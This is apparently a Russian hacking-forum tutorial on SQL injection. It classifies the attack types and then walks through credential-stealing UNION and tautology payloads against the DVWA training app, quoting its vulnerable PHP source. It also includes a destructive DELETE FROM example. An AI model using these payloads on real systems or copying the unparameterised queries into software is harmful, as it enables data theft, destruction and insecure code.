Ломаем вебсайты с помощи sql инъекции. Практическое руководство.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Оффтоп:
Очень нравится наблюдать, как больше и больше пишут полезные статьи на тему веб уязвимостей, каждую читаю лично, особенно grozdniyandy student , ваши статьи очень полезны, продолжайте в том духе. И также саппортов форума, спасибо также за их инициативы и поддержку авторов, особенно ice80 MAYC и Alpano. Тратя на статьи по 3-5 часов всегда приятно видеть с их стороны поддержку. Также, в ближайший день-два я приму участие в конкурсе проектов, надеюсь на вашу поддержку, а именно фидбек по коду и в целом.

О чем поговорим

Данные становятся ключевым активом в современном цифровом мире, насыщенном технологиями. Приложения активно собирают все больше информации для разнообразных задач, и эти ценные данные хранятся в базах данных. Стандартный язык запросов (SQL) представляет собой мощный инструмент для управления информацией в базах данных. Однако атака SQL-инъекции остается одним из наиболее распространенных методов несанкционированного доступа к базам данных, используемым злоумышленниками уже более десяти лет.

Множество экспертов по безопасности предложили различные контрмеры для защиты от SQL-инъекций, однако эта атака продолжает оставаться в топ-10 наиболее серьезных угроз безопасности веб-приложений. Суть SQL-инъекции заключается в том, чтобы внедрить SQL-код в сервер базы данных и выполнить его с целью получения несанкционированного доступа. В зависимости от характеристик атаки, она может оказаться относительно легкой и привести лишь к утечке некритичной информации, либо привести к серьезному разрушению и изменению структуры базы данных.

В данной статье представлен обзор атак SQL-инъекций, а также проведена демонстрация атаки на базу данных. Освещены характеристики и приведены примеры различных типов уязвимостей SQL-инъекций, подчеркивая их важность в контексте текущих рисков безопасности веб-приложений.

1. Введение

В настоящее время данные стали бесценным активом для бизнеса. Предприятия активно собирают информацию о пользователях и используют ее в различных сферах своей деятельности. Отчеты о покупках, просмотры, продолжительность пребывания в Интернете и прочие аспекты фиксируются компаниями. Многие приложения, включая Facebook, Wechat и другие, не только собирают данные внутри своих приложений, но и отслеживают активность пользователей в других, таких как Google Chrome, передавая информацию на свои серверы. В повседневной жизни мы можем наблюдать, как после поиска в Google появляются рекламные предложения в приложениях, таких как Facebook и Google Chrome, продвигая соответствующие продукты. Здесь проявляется мощь данных в области рекламы, где компании могут более точно настраивать свою целевую аудиторию с помощью анализа данных.

Эффективное управление базой данных в условиях интенсивного сбора информации представляет собой ключевой аспект. Стандартный язык запросов (SQL) является основным инструментом для работы с реляционными системами управления базами данных (РСУБД), обеспечивая сохранение, обработку и поиск данных. Реляционные базы данных структурируют данные с использованием строк и столбцов, а SQL выступает как один из наиболее распространенных и мощных языков для управления данными.

Из прошлых статьей мы уже знаем, что SQL-инъекция представляет собой метод атаки, при котором внедряется SQL-код во входные параметры приложения, передаваемые внутреннему SQL-серверу. Злоумышленники могут использовать этот метод для манипулирования или извлечения данных из базы данных, которая часто содержит конфиденциальную информацию, такую как пароли и имена пользователей. Уязвимости SQL-инъекций рассматриваются как одна из наиболее серьезных угроз для веб-приложений и включаются в топ-10 уязвимостей веб-приложений согласно Open Web Application Security Project (OWASP).

Уязвимость SQL-инъекции возникает из-за неправильной валидации входных данных пользователя, передаваемых во внутренний SQL-запрос. Ограничение символов, таких как кавычки, точки с запятой, знаки числа и т. д., обязательно, поскольку они могут быть использованы для атак на базу данных и получения несанкционированных данных.

201909_Security_SQL-Injection_1.png

Классификация SQL-инъекций

Атаки на SQL-инъекции преимущественно подразделяются на три основные категории: атаки "по порядку", "вслепую" и "против базы данных" [6]. Классификация этих атак представлена на рисунке 1.

Атаки SQL-инъекций по порядку (Order Wise SQL Injection Attack)

Атака первого порядка включает в себя внедрение зловредного кода, который позволяет злоумышленнику получать результаты непосредственно из ответа приложения или других механизмов. Это может предоставить неограниченный и несанкционированный доступ к базе данных. Например, внедрение SQL-кода, как показано на рисунке, может привести к получению информации о пользователях с именами, начинающимися на 'playboy'. Также злоумышленник может использовать команду "OR 1=1 -" для извлечения данных из таблицы.

Screenshot 2024-01-12 202629.png

Атака второго порядка предполагает, что вредоносный код сохраняется в базе данных для последующего использования приложением, вместо мгновенного выполнения. Это позволяет атакующему получить данные при использовании внедренного кода в будущем. Следовательно, латеральная инъекция включает использование процедур PL/SQL, не принимающих входные данные от пользователей. Например, изменение синтаксиса системной даты Oracle с целью получения данных системы sysdate.

0*dlBgeGCIM_ns_0XY

Слепые атаки SQL-инъекций (Blind SQL Injection Attack)

Когда веб-приложение уязвимо к SQL-инъекциям, злоумышленник изменяет входные параметры, и приложение возвращает сообщение об ошибке, указывающее на нарушение SQL-сервером при выполнении внедренного вредоносного кода. В случае, если разработчик скрывает подробности ошибки, злоумышленник может все равно использовать эту ошибку, перебирая истинные/ложные SQL-команды для извлечения данных.

Слепая атака SQL-инъекций на основе булевого метода

Злоумышленник пытается выполнить истинные/ложные запросы к веб-приложению и анализирует ответы для определения уязвимости к SQL-инъекциям. Например, добавление оператора true или false к параметру в URL веб-страницы может помочь определить, уязвима ли она к SQL-инъекциям на основе булевых функций.

Код: Скопировать в буфер обмена
https://darkboys666/hackpentagon.php?id=1

Код: Скопировать в буфер обмена
https://darkboys666/hackpentagon.php?id=1 and 1=2

Если ошибки базы данных обрабатываются корректно, злоумышленник пытается выполнить трудоемкую операцию, используя внедренный код, чтобы определить, является ли веб-страница уязвимой. Например, атака может перечислить буквы имени базы данных, внедрив код, который заставляет ответ ждать N секунд, если первая буква - "A", что позволяет злоумышленнику постепенно извлекать данные из базы данных.

Атака SQL-инъекции против базы данных

Существует четыре подкатегории атак SQL на базы данных: манипулирование SQL, инъекция кода, вызов функции и переполнение буфера.

Манипулирование SQL

Манипулирование SQL представляет собой процесс модификации SQL с использованием операций, таких как UNION или изменение оператора WHERE, для получения других результатов. Тавтологическая атака - это один из видов манипулятивных SQL-атак, цель которой заключается во внедрении условных операторов так, чтобы они всегда оценивались как истинные. Она используется для обхода аутентификации и извлечения данных. Например, если внутренний SQL-сервер выполняет запрос подлинности с использованием команды "SELECT name FROM users WHERE username='$_POST[username]' AND password='$_POST[password]';". Это позволит злоумышленнику получить все имена пользователей и пароли из базы данных.

Кроме того, логически некорректный запрос, также относящийся к манипуляциям SQL, использует сообщение об ошибке, возвращаемое сервером базы данных. Например, вставка " ' HAVING 1='1';-- " или другие, на страницу входа в систему может привести к получению сообщения об ошибке, как показано на рисунке. Злоумышленник теперь может извлечь имя таблицы и имя столбца базы данных для последующего использования.

1*jt-F1m47m5xQe_03hYaHDA.png


Кроме того, атака Union Query представляет собой комбинированный метод манипуляций SQL и инъекции кода. UNION используется для объединения двух или более запросов, позволяя злоумышленнику получить данные из таблицы или дополнительную информацию о структуре таблицы.

Инъекция кода

Процесс вставки нового SQL-оператора в SQL-сервер называется атакой с инъекцией кода. Этот тип атаки требует поддержки сервера нескольких SQL-операторов в одном запросе к базе данных. Атака с использованием дополнительных запросов (piggy-backed queries) - это практика добавления или манипулирования непроверенными значениями в веб-запросы SQL. Это позволяет злоумышленнику изменять записи в таблице с использованием операций UPDATE, DELETE, INSERT. Например, изменение значения "1" в URL на " ' ' '; DELETE FROM Member_info" может привести к удалению таблицы Member_info, если злоумышленник обладает достаточными привилегиями.

Вызов функции

Атака с вызовом функции предполагает вставку системной функции в SQL-оператор для манипуляции базой данных. Это позволяет злоумышленнику использовать системные хранимые процедуры для управления базой данных. Однако успешный вызов системной процедуры не всегда отображается в ответе пользователю, особенно если уровень привилегий пользователя в базе данных невысок.

Переполнение буфера

Уязвимость переполнения буфера может быть использована для атак типа "отказ в обслуживании", поскольку большинство приложений и веб-серверов не справляются с потерей соединения с базой данных. Кроме того, инъекция SQL-запроса может быть закодирована для обхода фильтрации пользовательского ввода, что позволяет злоумышленнику обойти механизм безопасности и использовать базу данных в своих целях.


Атакуем веб сайт с помощью sql инъекции

В этой демонстрации атаки с использованием SQL-инъекций используется уязвимое веб-приложение DVWA (Damn Vulnerable Web Application).

Настройка
Сначала установим и настроим наше веб приложение с помощью двух простых команд: sudo apt install dvwa и dvwa-start Процесс займет некоторое время, поэтому нужно быть терпеливым. Если что то не выйдет, следуйте инструкции на этом сайте:
https://www.golinuxcloud.com/install-dvwa-kali-linux/

Screenshot 2024-01-12 205126.png



Screenshot 2024-01-12 205449.png
Пять пользователей в базе данных, с идентификаторами от 1 до 5 - наша задача украсть их пароли через SQLi.
Давайте посмотрим на исходный код (https://github.com/digininja/DVWA/tree/master/vulnerabilities/sqli/source):
PHP: Скопировать в буфер обмена
Код:
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;

#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

Мы видим, что в строке кода $id = $_REQUEST['id']; пользовательский ввод сохраняется в переменной $id, и затем выполняется следующий SQL-запрос:
PHP: Скопировать в буфер обмена
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Если заменить $id на значение 1, то запрос будет следующим:

PHP: Скопировать в буфер обмена
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1';";

Этот запрос извлекает информацию о человеке с user_id, равным 1. Однако мы можем внедрить дополнительную команду, используя SQL-инъекцию 1' or 1 = '1 Код в запросе будет выглядить так:
SQL: Скопировать в буфер обмена
SELECT first_name, last_name FROM users where user_id = '1'' or 1 = '1

1705076266065.png
Идем дальше


1705076331397.png
сорцы, которые нам даны
PHP: Скопировать в буфер обмена
Код:
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Самая важная строка:
SQL: Скопировать в буфер обмена
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

Мы видим, что переменная id больше не заключена в кавычки. Таким образом, мы можем выполнить SQL-атаку, используя следующее: 1 OR 1=1 UNION SELECT user, password from users#

1705076540740.png
Получаем:

1705076583225.png
И последнее, наверное самое сложное
1705076730458.png

наш сорц:
PHP: Скопировать в буфер обмена
Код:
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);       
break;
case SQLITE:
global $sqlite_db_connection;

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}

if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last  = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}

?>

Как мы видим, в запросе снова стали использоваться кавычки.
SQL: Скопировать в буфер обмена
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
Чтобы воспользоваться этим, мы будем использовать следующее:
1' UNION SELECT user, password from users#

1705076997713.png

Заключение:

Уязвимость SQL-инъекции остается актуальной и представляет серьезную угрозу в настоящее время. Множество злоумышленников продолжают использовать эту уязвимость для различных злонамеренных действий, таких как модификация и удаление данных, а также выключение базы данных. Несмотря на внедрение различных мер безопасности и контрмер, некоторые ошибки в коде могут создать уязвимости, делая систему подверженной атакам с использованием SQL-инъекций.

Системы управления базами данных содержат огромное количество ценной информации, что делает их привлекательной мишенью для злоумышленников. Несмотря на реализацию контрмер и безопасных практик, разработчики должны постоянно обновлять свои знания и активно искать уязвимости в коде.
 
Сверху Снизу